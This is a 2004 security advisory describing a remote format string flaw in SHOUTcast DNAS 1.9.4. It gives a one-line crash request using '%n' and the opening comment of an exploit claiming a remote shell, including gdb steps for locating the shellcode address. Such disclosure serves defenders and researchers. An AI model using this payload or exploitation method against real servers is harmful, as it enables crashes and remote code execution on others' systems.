SHOUTcast remote format string vulnerability

Product: SHOUTcast v1.9.4 (and older?)
Vendor: http://www.shoutcast.com
Vuln: Remote format string
BugFinder: Tomasz Trojanowski (onestep)
Author: Damian Put <[email protected]> www.CC-Team.org
Date: Dec 23, 2004

1. BACKGROUND

"SHOUTcast is Nullsoft's Free Winamp-based distributed streaming audio
system. Thousands of broadcasters around the world are waiting for you to
tune in and listen"

2. DESCRIPTION

Remote exploitation of a format string vulnerability could allow execution
of arbitrary code.

A part of request, which was sent by attacker to server, would be included
in second arg of sprintf() function (0x0804adc3 in linux binary). It is
obviously not good from a security viewpoint. We can crash SHOUTcast in a
very easy way, using following request:

http://host:8000/content/&#37;n.mp3

Or reach remote shell thanks to attached exploit`s code.

/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit /
/ Damian Put <[email protected]> Cyber-Crime Team (www.CC-Team.org) /
/ Tested on slackware 9.1 and 10.0 (0xbf3feee0) /
/ When exploit only crash SHOUTcast we should calculate new address: /
/ /
/ bash-2.05b$ gdb sc_serv core /
/ … /
/ (gdb) x/x $edi /
/ 0xbe462270: 0x78257825 /
/ (gdb) x/x 0xbe462270-996 /
/ 0xbe461e8c: 0x5050c031 /
/ /
/ 0xbe461e8c - This is our shellcode addr /
/ /
/ Now we "only" must change format string code in req2 :-) */
